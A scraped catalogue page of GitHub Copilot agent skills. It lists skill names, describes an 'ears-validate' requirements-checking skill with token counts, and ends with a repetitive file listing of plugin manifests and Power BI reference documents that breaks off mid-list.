harness/github-copilot/skills/legacy-characterization-testing - legacy-circuit-mockups
harness/github-copilot/skills/legacy-circuit-mockups - linkedin-post-formatter
harness/github-copilot/skills/linkedin-post-formatter - load-performance-testing
harness/github-copilot/skills/load-performance-testing - lsp-setup
harness/github-copilot/skills/lsp-setup - make-repo-contribution
harness/github-copilot/skills/make-repo-contribution - markdown-to-html
harness/github-copilot/skills/markdown-to-html - markstream-install
harness/github-copilot/skills/markstream-install - mcp-builder
harness/github-copilot/skills/mcp-builder - mcp-cli
harness/github-copilot/skills/mcp-cli - mcp-copilot-studio-server-generator
harness/github-copilot/skills/mcp-copilot-studio-server-generator - mcp-create-adaptive-cards
harness/github-copilot/skills/mcp-create-adaptive-cards - mcp-create-declarative-agent
harness/github-copilot/skills/mcp-create-declarative-agent - mcp-deploy-manage-agents
harness/github-copilot/skills/mcp-deploy-manage-agents - mcp-implementation-security-review
harness/github-copilot/skills/mcp-implementation-security-review - mcp-release-qa
harness/github-copilot/skills/mcp-release-qa - mcp-security-audit
harness/github-copilot/skills/mcp-security-audit - md-to-docx
harness/github-copilot/skills/md-to-docx - meeting-minutes
harness/github-copilot/skills/meeting-minutes - memory-merger
harness/github-copilot/skills/memory-merger - mentoring-juniors
harness/github-copilot/skills/mentoring-juniors - microsoft-agent-framework
harness/github-copilot/skills/microsoft-agent-framework - microsoft-code-reference
harness/github-copilot/skills/microsoft-code-reference - microsoft-docs
harness/github-copilot/skills/microsoft-docs - microsoft-skill-creator
harness/github-copilot/skills/microsoft-skill-creator - migrating-oracle-to-postgres-data-access-code
harness/github-copilot/skills/migrating-oracle-to-postgres-data-access-code - migrating-oracle-to-postgres-stored-procedures
harness/github-copilot/skills/migrating-oracle-to-postgres-stored-procedures - minecraft-plugin-development
harness/github-copilot/skills/minecraft-plugin-development - mini-context-graph
harness/github-copilot/skills/mini-context-graph - mkdocs-translations
harness/github-copilot/skills/mkdocs-translations - modernization-workspace-kit
harness/github-copilot/skills/modernization-workspace-kit - msgraph-sdk
harness/github-copilot/skills/msgraph-sdk - msstore-cli
harness/github-copilot/skills/msstore-cli - multi-stage-dockerfile
harness/github-copilot/skills/multi-stage-dockerfile - mutation-testing
harness/github-copilot/skills/mutation-testing - mvvm-toolkit
harness/github-copilot/skills/mvvm-toolkit - mvvm-toolkit-di
harness/github-copilot/skills/mvvm-toolkit-di - mvvm-toolkit-messenger
harness/github-copilot/skills/mvvm-toolkit-messenger - namecheap
harness/github-copilot/skills/namecheap - nano-banana-pro-openrouter
harness/github-copilot/skills/nano-banana-pro-openrouter - napkin
harness/github-copilot/skills/napkin - natural-adabas-analysis
harness/github-copilot/skills/natural-adabas-analysis - next-intl-add-language
harness/github-copilot/skills/next-intl-add-language - noob-mode
harness/github-copilot/skills/noob-mode - nuget-manager
harness/github-copilot/skills/nuget-manager - onboard-context-matic
harness/github-copilot/skills/onboard-context-matic - oo-component-documentation
harness/github-copilot/skills/oo-component-documentation - openapi-to-application-code
harness/github-copilot/skills/openapi-to-application-code - optimize-simplicite-logs
harness/github-copilot/skills/optimize-simplicite-logs - pcf-development
harness/github-copilot/skills/pcf-development - pdftk-server
harness/github-copilot/skills/pdftk-server - penpot-uiux-design
harness/github-copilot/skills/penpot-uiux-design - performance-review-writer
harness/github-copilot/skills/performance-review-writer - pester-migration
harness/github-copilot/skills/pester-migration - pester-should-migration
harness/github-copilot/skills/pester-should-migration - phoenix-cli
harness/github-copilot/skills/phoenix-cli - phoenix-evals
harness/github-copilot/skills/phoenix-evals - phoenix-tracing
harness/github-copilot/skills/phoenix-tracing - php-mcp-server-generator
harness/github-copilot/skills/php-mcp-server-generator - pinecone-rag
harness/github-copilot/skills/pinecone-rag - planning-oracle-to-postgres-migration-integration-testing
harness/github-copilot/skills/planning-oracle-to-postgres-migration-integration-testing - plantuml-ascii
harness/github-copilot/skills/plantuml-ascii - playwright-automation-fill-in-form
harness/github-copilot/skills/playwright-automation-fill-in-form - playwright-explore-website
harness/github-copilot/skills/playwright-explore-website - playwright-generate-test
harness/github-copilot/skills/playwright-generate-test - postgresql-code-review
harness/github-copilot/skills/postgresql-code-review - postgresql-optimization
harness/github-copilot/skills/postgresql-optimization - power-apps-code-app-scaffold
harness/github-copilot/skills/power-apps-code-app-scaffold - power-bi-dax-optimization
harness/github-copilot/skills/power-bi-dax-optimization - power-bi-model-design-review
harness/github-copilot/skills/power-bi-model-design-review - power-bi-performance-troubleshooting
harness/github-copilot/skills/power-bi-performance-troubleshooting - power-bi-report-design-consultation
harness/github-copilot/skills/power-bi-report-design-consultation - power-platform-architect
harness/github-copilot/skills/power-platform-architect - power-platform-mcp-connector-suite
harness/github-copilot/skills/power-platform-mcp-connector-suite - powerbi-modeling
harness/github-copilot/skills/powerbi-modeling - pr-dashboard
harness/github-copilot/skills/pr-dashboard - pr-screenshots
harness/github-copilot/skills/pr-screenshots - prd
harness/github-copilot/skills/prd - premium-frontend-ui
harness/github-copilot/skills/premium-frontend-ui - project-workflow-analysis-blueprint-generator
harness/github-copilot/skills/project-workflow-analysis-blueprint-generator - prompt-optimizer
harness/github-copilot/skills/prompt-optimizer - publish-to-pages
harness/github-copilot/skills/publish-to-pages - pytest-coverage
harness/github-copilot/skills/pytest-coverage - python-azure-iot-edge-modules
harness/github-copilot/skills/python-azure-iot-edge-modules - python-mcp-server-generator
harness/github-copilot/skills/python-mcp-server-generator - python-pypi-package-builder
harness/github-copilot/skills/python-pypi-package-builder - qdrant-clients-sdk
harness/github-copilot/skills/qdrant-clients-sdk - qdrant-deployment-options
harness/github-copilot/skills/qdrant-deployment-options - qdrant-model-migration
harness/github-copilot/skills/qdrant-model-migration - qdrant-monitoring
harness/github-copilot/skills/qdrant-monitoring - qdrant-monitoring-debugging
harness/github-copilot/skills/qdrant-monitoring/debugging - qdrant-monitoring-setup
harness/github-copilot/skills/qdrant-monitoring/setup - qdrant-performance-optimization
harness/github-copilot/skills/qdrant-performance-optimization - qdrant-indexing-performance-optimization
harness/github-copilot/skills/qdrant-performance-optimization/indexing-performance-optimization - qdrant-memory-usage-optimization
harness/github-copilot/skills/qdrant-performance-optimization/memory-usage-optimization - qdrant-search-speed-optimization
harness/github-copilot/skills/qdrant-performance-optimization/search-speed-optimization - qdrant-scaling
harness/github-copilot/skills/qdrant-scaling - qdrant-minimize-latency
harness/github-copilot/skills/qdrant-scaling/minimize-latency - qdrant-scaling-data-volume
harness/github-copilot/skills/qdrant-scaling/scaling-data-volume - qdrant-horizontal-scaling
harness/github-copilot/skills/qdrant-scaling/scaling-data-volume/horizontal-scaling - qdrant-sliding-time-window
harness/github-copilot/skills/qdrant-scaling/scaling-data-volume/sliding-time-window - qdrant-tenant-scaling
harness/github-copilot/skills/qdrant-scaling/scaling-data-volume/tenant-scaling - qdrant-vertical-scaling
harness/github-copilot/skills/qdrant-scaling/scaling-data-volume/vertical-scaling - qdrant-scaling-qps
harness/github-copilot/skills/qdrant-scaling/scaling-qps - qdrant-scaling-query-volume
harness/github-copilot/skills/qdrant-scaling/scaling-query-volume - qdrant-search-quality
harness/github-copilot/skills/qdrant-search-quality - qdrant-search-quality-diagnosis
harness/github-copilot/skills/qdrant-search-quality/diagnosis - qdrant-search-strategies
harness/github-copilot/skills/qdrant-search-quality/search-strategies - qdrant-version-upgrade
harness/github-copilot/skills/qdrant-version-upgrade - quality-playbook
harness/github-copilot/skills/quality-playbook - quasi-coder
harness/github-copilot/skills/quasi-coder - react-audit-grep-patterns
harness/github-copilot/skills/react-audit-grep-patterns - react-container-presentation-component
harness/github-copilot/skills/react-container-presentation-component - react18-batching-patterns
harness/github-copilot/skills/react18-batching-patterns - react18-dep-compatibility
harness/github-copilot/skills/react18-dep-compatibility - react18-enzyme-to-rtl
harness/github-copilot/skills/react18-enzyme-to-rtl - react18-legacy-context
harness/github-copilot/skills/react18-legacy-context - react18-lifecycle-patterns
harness/github-copilot/skills/react18-lifecycle-patterns - react18-string-refs
harness/github-copilot/skills/react18-string-refs - react19-concurrent-patterns
harness/github-copilot/skills/react19-concurrent-patterns - react19-source-patterns
harness/github-copilot/skills/react19-source-patterns - react19-test-patterns
harness/github-copilot/skills/react19-test-patterns - readme-blueprint-generator
harness/github-copilot/skills/readme-blueprint-generator - refactor
harness/github-copilot/skills/refactor - refactor-method-complexity-reduce
harness/github-copilot/skills/refactor-method-complexity-reduce - refactor-plan
harness/github-copilot/skills/refactor-plan - remember
harness/github-copilot/skills/remember - remember-interactive-programming
harness/github-copilot/skills/remember-interactive-programming - repo-story-time
harness/github-copilot/skills/repo-story-time - resemble-detect
harness/github-copilot/skills/resemble-detect - review-and-refactor
harness/github-copilot/skills/review-and-refactor - reviewing-oracle-to-postgres-migration
harness/github-copilot/skills/reviewing-oracle-to-postgres-migration - rhdh
harness/github-copilot/skills/rhdh - rhdh-jira
harness/github-copilot/skills/rhdh-jira - rhdh-local
harness/github-copilot/skills/rhdh-local - rhino3d-scripts
harness/github-copilot/skills/rhino3d-scripts - roundup
harness/github-copilot/skills/roundup - roundup-setup
harness/github-copilot/skills/roundup-setup - ruby-mcp-server-generator
harness/github-copilot/skills/ruby-mcp-server-generator - ruff-recursive-fix
harness/github-copilot/skills/ruff-recursive-fix - rust-mcp-server-generator
harness/github-copilot/skills/rust-mcp-server-generator - salesforce-apex-quality
harness/github-copilot/skills/salesforce-apex-quality - salesforce-component-standards
harness/github-copilot/skills/salesforce-component-standards - salesforce-flow-design
harness/github-copilot/skills/salesforce-flow-design - sandbox-npm-install
harness/github-copilot/skills/sandbox-npm-install - scaffolding-oracle-to-postgres-migration-test-project
harness/github-copilot/skills/scaffolding-oracle-to-postgres-migration-test-project - scoutqa-test
harness/github-copilot/skills/scoutqa-test - screen-recording
harness/github-copilot/skills/screen-recording - sdd-requirements-engineer
harness/github-copilot/skills/sdd-requirements-engineer - secret-scanning
harness/github-copilot/skills/secret-scanning - security-review
harness/github-copilot/skills/security-review - semantic-kernel
harness/github-copilot/skills/semantic-kernel - server-side-conversion-tracking
harness/github-copilot/skills/server-side-conversion-tracking - setup-my-iq
harness/github-copilot/skills/setup-my-iq - shopify-review-triage
harness/github-copilot/skills/shopify-review-triage - shuffle-json-data
harness/github-copilot/skills/shuffle-json-data - signal-write
harness/github-copilot/skills/signal-write - skill-creator
harness/github-copilot/skills/skill-creator - slang-shader-engineer
harness/github-copilot/skills/slang-shader-engineer - snowflake-semanticview
harness/github-copilot/skills/snowflake-semanticview - sonarqube-api-query
harness/github-copilot/skills/sonarqube-api-query - sponsor-finder
harness/github-copilot/skills/sponsor-finder - spring-boot-testing
harness/github-copilot/skills/spring-boot-testing - sql-code-review
harness/github-copilot/skills/sql-code-review - sql-optimization
harness/github-copilot/skills/sql-optimization - sql-server-table-reconciliation
harness/github-copilot/skills/sql-server-table-reconciliation - ssma-console
harness/github-copilot/skills/ssma-console - steno-mode
harness/github-copilot/skills/steno-mode - structured-autonomy-generate
harness/github-copilot/skills/structured-autonomy-generate - structured-autonomy-implement
harness/github-copilot/skills/structured-autonomy-implement - structured-autonomy-plan
harness/github-copilot/skills/structured-autonomy-plan - suggest-awesome-github-copilot-agents
harness/github-copilot/skills/suggest-awesome-github-copilot-agents - suggest-awesome-github-copilot-instructions
harness/github-copilot/skills/suggest-awesome-github-copilot-instructions - suggest-awesome-github-copilot-skills
harness/github-copilot/skills/suggest-awesome-github-copilot-skills - swift-mcp-server-generator
harness/github-copilot/skills/swift-mcp-server-generator - system-commandline-cli
harness/github-copilot/skills/system-commandline-cli - technical-job-search
harness/github-copilot/skills/technical-job-search - technology-stack-blueprint-generator
harness/github-copilot/skills/technology-stack-blueprint-generator - terraform-azurerm-set-diff-analyzer
harness/github-copilot/skills/terraform-azurerm-set-diff-analyzer - test-data-management
harness/github-copilot/skills/test-data-management - threat-model-analyst
harness/github-copilot/skills/threat-model-analyst - tiny-stepping
harness/github-copilot/skills/tiny-stepping - tldr-prompt
harness/github-copilot/skills/tldr-prompt - tm7-threat-model
harness/github-copilot/skills/tm7-threat-model - transloadit-media-processing
harness/github-copilot/skills/transloadit-media-processing - typescript-mcp-server-generator
harness/github-copilot/skills/typescript-mcp-server-generator - typespec-api-operations
harness/github-copilot/skills/typespec-api-operations - typespec-create-agent
harness/github-copilot/skills/typespec-create-agent - typespec-create-api-plugin
harness/github-copilot/skills/typespec-create-api-plugin - ui-screenshots
harness/github-copilot/skills/ui-screenshots - unit-test-vue-pinia
harness/github-copilot/skills/unit-test-vue-pinia - update-avm-modules-in-bicep
harness/github-copilot/skills/update-avm-modules-in-bicep - update-implementation-plan
harness/github-copilot/skills/update-implementation-plan - update-llms
harness/github-copilot/skills/update-llms - update-markdown-file-index
harness/github-copilot/skills/update-markdown-file-index - update-specification
harness/github-copilot/skills/update-specification - vardoger-analyze
harness/github-copilot/skills/vardoger-analyze - vcpkg
harness/github-copilot/skills/vcpkg - verify-agent-action
harness/github-copilot/skills/verify-agent-action - vscode-ext-commands
harness/github-copilot/skills/vscode-ext-commands - vscode-ext-localization
harness/github-copilot/skills/vscode-ext-localization - web-design-reviewer
harness/github-copilot/skills/web-design-reviewer - webapp-testing
harness/github-copilot/skills/webapp-testing - webmcpify
harness/github-copilot/skills/webmcpify - what-context-needed
harness/github-copilot/skills/what-context-needed - winmd-api-search
harness/github-copilot/skills/winmd-api-search - winui3-migration-guide
harness/github-copilot/skills/winui3-migration-guide - workiq-copilot
harness/github-copilot/skills/workiq-copilot - workshop-create
harness/github-copilot/skills/workshop-create - write-coding-standards-from-file
harness/github-copilot/skills/write-coding-standards-from-file - x-twitter-scraper
harness/github-copilot/skills/x-twitter-scraper
How it works
ears-validate
When your agent uses it
Use when validating requirements against EARS notation patterns. Triggers include "EARS", "requirement review", "requirement quality", "shall statement", and "REQ-ID".
What it loads into context
Frontmatter
47 tokensAlways available to the agent
SKILL.md
752 tokensWhen the skill is activated
Reference documents
212,923 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to invoke
- EARS patterns
- Validation checklist
- Common defects
- Output template
- Quality gate
Files
../../../.claude-plugin/marketplace.jsonasset49,427 bytes../../../.claude-plugin/marketplace.jsonasset49,427 bytes../../../.claude-plugin/marketplace.jsonasset49,427 bytes../../../.claude-plugin/marketplace.jsonasset49,427 bytes../../../.claude-plugin/marketplace.jsonasset49,427 bytes../../../.claude-plugin/marketplace.jsonasset49,427 bytes../../../.claude-plugin/marketplace.jsonasset49,427 bytes../../../.claude-plugin/marketplace.jsonasset49,427 bytes../../../.claude-plugin/marketplace.jsonasset49,427 bytes../../../.claude/hooks/dependency-license-checker/hooks.jsonasset302 bytes../../../.claude/hooks/governance-audit/hooks.jsonasset842 bytes../../../.claude/hooks/secrets-scanner/hooks.jsonasset302 bytes../../../.claude/hooks/session-logger/hooks.jsonasset796 bytesSKILL.mdcore2,914 bytes../../../harness/claude-code/hooks/attester-import-check/hooks.jsonasset322 bytes../../../harness/claude-code/hooks/dependency-license-checker/hooks.jsonasset302 bytes../../../harness/claude-code/hooks/fix-broken-links/hooks.jsonasset294 bytes../../../harness/claude-code/hooks/governance-audit/hooks.jsonasset842 bytes../../../harness/claude-code/hooks/secrets-scanner/hooks.jsonasset302 bytes../../../harness/claude-code/hooks/session-auto-commit/hooks.jsonasset274 bytes../../../harness/claude-code/hooks/session-logger/hooks.jsonasset796 bytes../../../harness/claude-code/hooks/tool-guardian/hooks.jsonasset308 bytes../../../harness/claude-code/plugins/accessibility-compliance/.claude-plugin/plugin.jsonasset525 bytes../../../harness/claude-code/plugins/accessibility-kanban/.claude-plugin/plugin.jsonasset422 bytes../../../harness/claude-code/plugins/acreadiness-cockpit/.claude-plugin/plugin.jsonasset601 bytes../../../harness/claude-code/plugins/agent-governance/.claude-plugin/plugin.jsonasset603 bytes../../../harness/claude-code/plugins/ai-team-orchestration/.claude-plugin/plugin.jsonasset521 bytes../../../harness/claude-code/plugins/apng-studio/.claude-plugin/plugin.jsonasset556 bytes../../../harness/claude-code/plugins/application-security/.claude-plugin/plugin.jsonasset536 bytes../../../harness/claude-code/plugins/application-security/.claude-plugin/plugin.jsonasset536 bytes../../../harness/claude-code/plugins/arcade-canvas/.claude-plugin/plugin.jsonasset375 bytes../../../harness/claude-code/plugins/arch/.claude-plugin/plugin.jsonasset513 bytes../../../harness/claude-code/plugins/arize-ax/.claude-plugin/plugin.jsonasset620 bytes../../../harness/claude-code/plugins/automate-this/.claude-plugin/plugin.jsonasset607 bytes../../../harness/claude-code/plugins/awesome-copilot/.claude-plugin/plugin.jsonasset440 bytes../../../harness/claude-code/plugins/aws-cloud-development/.claude-plugin/plugin.jsonasset573 bytes../../../harness/claude-code/plugins/azure-ai-foundry/.claude-plugin/plugin.jsonasset633 bytes../../../harness/claude-code/plugins/azure-app-lifecycle/.claude-plugin/plugin.jsonasset556 bytes../../../harness/claude-code/plugins/azure-cloud-development/.claude-plugin/plugin.jsonasset559 bytes../../../harness/claude-code/plugins/azure-data-development/.claude-plugin/plugin.jsonasset541 bytes../../../harness/claude-code/plugins/azure-developer-tooling/.claude-plugin/plugin.jsonasset587 bytes../../../harness/claude-code/plugins/azure-governance/.claude-plugin/plugin.jsonasset545 bytes../../../harness/claude-code/plugins/azure-kubernetes-development/.claude-plugin/plugin.jsonasset558 bytes../../../harness/claude-code/plugins/azure-modernization/.claude-plugin/plugin.jsonasset484 bytes../../../harness/claude-code/plugins/azure-observability-operations/.claude-plugin/plugin.jsonasset534 bytes../../../harness/claude-code/plugins/backlog-swipe-triage/.claude-plugin/plugin.jsonasset450 bytes../../../harness/claude-code/plugins/backrooms-canvas/.claude-plugin/plugin.jsonasset439 bytes../../../harness/claude-code/plugins/backstage-expert/.claude-plugin/plugin.jsonasset684 bytes../../../harness/claude-code/plugins/backstage-expert/copilot-components/hooks/backstage-safety/hooks.jsonasset257 bytes../../../harness/claude-code/plugins/backstage-expert/copilot-components/hooks/backstage-safety/hooks.jsonasset257 bytes../../../harness/claude-code/plugins/backstage-expert/copilot-components/hooks/backstage-safety/hooks.jsonasset257 bytes../../../harness/claude-code/plugins/backstage-expert/hooks/hooks.jsonasset271 bytes../../../harness/claude-code/plugins/backstage-expert/hooks/hooks.jsonasset271 bytes../../../harness/claude-code/plugins/career-productivity/.claude-plugin/plugin.jsonasset546 bytes../../../harness/claude-code/plugins/cast-imaging/.claude-plugin/plugin.jsonasset515 bytes../../../harness/claude-code/plugins/chromium-control-canvas/.claude-plugin/plugin.jsonasset483 bytes../../../harness/claude-code/plugins/clojure-interactive-programming/.claude-plugin/plugin.jsonasset438 bytes../../../harness/claude-code/plugins/cms-development/.claude-plugin/plugin.jsonasset515 bytes../../../harness/claude-code/plugins/code-quality-refactoring/.claude-plugin/plugin.jsonasset599 bytes../../../harness/claude-code/plugins/codebase-blueprints/.claude-plugin/plugin.jsonasset556 bytes../../../harness/claude-code/plugins/color-orb/.claude-plugin/plugin.jsonasset411 bytes../../../harness/claude-code/plugins/context-engineering/.claude-plugin/plugin.jsonasset561 bytes../../../harness/claude-code/plugins/context-matic/.claude-plugin/plugin.jsonasset792 bytes../../../harness/claude-code/plugins/convert-to-md/.claude-plugin/plugin.jsonasset679 bytes../../../harness/claude-code/plugins/copilot-customization-authoring/.claude-plugin/plugin.jsonasset530 bytes../../../harness/claude-code/plugins/copilot-plugin-development/.claude-plugin/plugin.jsonasset560 bytes../../../harness/claude-code/plugins/copilot-plugin-development/.claude-plugin/plugin.jsonasset560 bytes../../../harness/claude-code/plugins/copilot-sdk/.claude-plugin/plugin.jsonasset571 bytes../../../harness/claude-code/plugins/creative-media-tooling/.claude-plugin/plugin.jsonasset567 bytes../../../harness/claude-code/plugins/csharp-dotnet-development/.claude-plugin/plugin.jsonasset427 bytes../../../harness/claude-code/plugins/data-engineering/.claude-plugin/plugin.jsonasset569 bytes../../../harness/claude-code/plugins/database-data-management/.claude-plugin/plugin.jsonasset521 bytes../../../harness/claude-code/plugins/dataverse-sdk-for-python/.claude-plugin/plugin.jsonasset519 bytes../../../harness/claude-code/plugins/devops-oncall/.claude-plugin/plugin.jsonasset435 bytes../../../harness/claude-code/plugins/diagram-authoring/.claude-plugin/plugin.jsonasset516 bytes../../../harness/claude-code/plugins/diagram-authoring/.claude-plugin/plugin.jsonasset516 bytes../../../harness/claude-code/plugins/diagram-viewer/.claude-plugin/plugin.jsonasset455 bytes../../../harness/claude-code/plugins/dotnet-desktop-development/.claude-plugin/plugin.jsonasset573 bytes../../../harness/claude-code/plugins/doublecheck/.claude-plugin/plugin.jsonasset486 bytes../../../harness/claude-code/plugins/edge-ai-tasks/.claude-plugin/plugin.jsonasset443 bytes../../../harness/claude-code/plugins/ember/.claude-plugin/plugin.jsonasset500 bytes../../../harness/claude-code/plugins/eyeball/.claude-plugin/plugin.jsonasset617 bytes../../../harness/claude-code/plugins/eyeball/.claude-plugin/plugin.jsonasset617 bytes../../../harness/claude-code/plugins/eyeball/.claude-plugin/plugin.jsonasset617 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/.claude-plugin/plugin.jsonasset563 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/.claude-plugin/plugin.jsonasset924 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/SKILL.mddoc37,182 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/authoring.mddoc9,309 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/card.mddoc21,087 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/cartesian.mddoc56,235 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/color-strategy.mddoc8,597 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/conditional-formatting.mddoc23,955 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/expressions.mddoc8,015 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/filter-pane.mddoc5,028 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/filters.mddoc9,017 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/formatting-overview.mddoc5,296 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/formatting.mddoc19,672 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/image.mddoc12,637 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/map.mddoc3,535 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/page-formatting.mddoc3,740 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/powerbi-desktop.mddoc9,432 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/powerbi-report-author-cli.mddoc3,129 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/re-theming.mddoc23,025 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/screenshot-review.mddoc4,742 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/shape.mddoc12,823 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/slicers.mddoc24,089 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/table.mddoc12,560 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/textbox.mddoc5,559 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/theming.mddoc22,871 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-authoring/references/version-control.mddoc5,563 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/SKILL.mddoc16,869 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/assets/base.jsonasset7,716 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/accessibility.mddoc10,581 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/anti-patterns.mddoc18,112 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/archetype-composition.mddoc3,460 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/archetypes/analytical-canvas.mddoc16,678 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/archetypes/comparative-benchmark.mddoc20,049 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/archetypes/executive-summary.mddoc13,945 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/archetypes/narrative-story.mddoc17,216 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/archetypes/operational-monitor.mddoc16,285 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/brownfield.mddoc5,417 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/chart-selection.mddoc9,371 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/color.mddoc9,838 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/design-brief.mddoc21,187 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/interactivity.mddoc6,650 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/layout.mddoc10,802 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/pre-flight-checklist.mddoc10,659 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/signatures.mddoc11,125 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/tone-catalog.mddoc14,033 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/typography.mddoc8,867 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-design/references/visual-cookbook.mddoc27,242 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-management/SKILL.mddoc30,619 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/powerbi-report-planning/SKILL.mddoc21,974 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/SKILL.mddoc41,192 bytes../../../harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/skills/semantic-model-authoring/references/connection-binding.mddoc10,825 